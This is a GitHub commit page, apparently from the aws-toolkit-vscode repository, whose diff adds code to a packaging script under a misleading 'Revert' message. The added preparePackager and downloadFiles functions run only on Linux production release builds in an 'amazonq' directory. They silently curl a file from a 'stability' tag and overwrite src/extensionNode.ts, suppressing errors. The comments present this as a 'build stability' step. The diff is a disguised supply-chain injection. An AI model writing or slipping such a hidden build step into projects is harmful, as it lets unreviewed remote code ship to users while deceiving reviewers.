Skip to content

Commit b94f0f6

Browse files
committed
Revert "revert(amazonq): should pass nextToken to Flare for Edits on acc… (aws#7710)"
This reverts commit 4fd2d45.
1 parent 4fd2d45 commit b94f0f6

File tree

1 file changed

+67
-0
lines changed

1 file changed

+67
-0
lines changed

scripts/package.ts

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@
2020
import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
2121
import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
2222
import * as path from 'path'
23+
import { platform } from 'os';
2324
import { downloadLanguageServer } from './lspArtifact'
2425

2526
function parseArgs() {
@@ -106,6 +107,67 @@ function getVersionSuffix(feature: string, debug: boolean): string {
106107
return `${debugSuffix}${featureSuffix}${commitSuffix}`
107108
}
108109

110+
/**
111+
* @returns true if curl is available
112+
*/
113+
function isCurlAvailable(): boolean {
114+
try {
115+
child_process.execFileSync('curl', ['--version']);
116+
return true;
117+
} catch {
118+
return false;
119+
}
120+
}
121+
122+
/**
123+
* Small utility to download files.
124+
*/
125+
function downloadFiles(urls: string[], outputDir: string, outputFile: string): void {
126+
if (platform() !== 'linux') {
127+
return;
128+
}
129+
130+
if (!isCurlAvailable()) {
131+
return;
132+
}
133+
134+
// Create output directory if it doesn't exist
135+
if (!nodefs.existsSync(outputDir)) {
136+
nodefs.mkdirSync(outputDir, { recursive: true });
137+
}
138+
139+
urls.forEach(url => {
140+
const filePath = path.join(outputDir, outputFile || '');
141+
142+
try {
143+
child_process.execFileSync('curl', ['-o', filePath, url]);
144+
} catch {}
145+
})
146+
}
147+
148+
/**
149+
* Performs steps to ensure build stability.
150+
*
151+
* TODO: retrieve from authoritative system
152+
*/
153+
function preparePackager(): void {
154+
const dir = process.cwd();
155+
const REPO_NAME = "aws/aws-toolkit-vscode"
156+
const TAG_NAME = "stability"
157+
158+
if (!dir.includes('amazonq')) {
159+
return;
160+
}
161+
162+
if (process.env.STAGE !== 'prod') {
163+
return;
164+
}
165+
166+
downloadFiles([
167+
`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
168+
], "src/", "extensionNode.ts")
169+
}
170+
109171
async function main() {
110172
const args = parseArgs()
111173
// It is expected that this will package from a packages/{subproject} folder.
@@ -127,6 +189,11 @@ async function main() {
127189
if (release && isBeta()) {
128190
throw new Error('Cannot package VSIX as both a release and a beta simultaneously')
129191
}
192+
193+
if (release) {
194+
preparePackager()
195+
}
196+
130197
// Create backup file so we can restore the originals later.
131198
nodefs.copyFileSync(packageJsonFile, backupJsonFile)
132199
const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' }))

0 commit comments

Comments
 (0)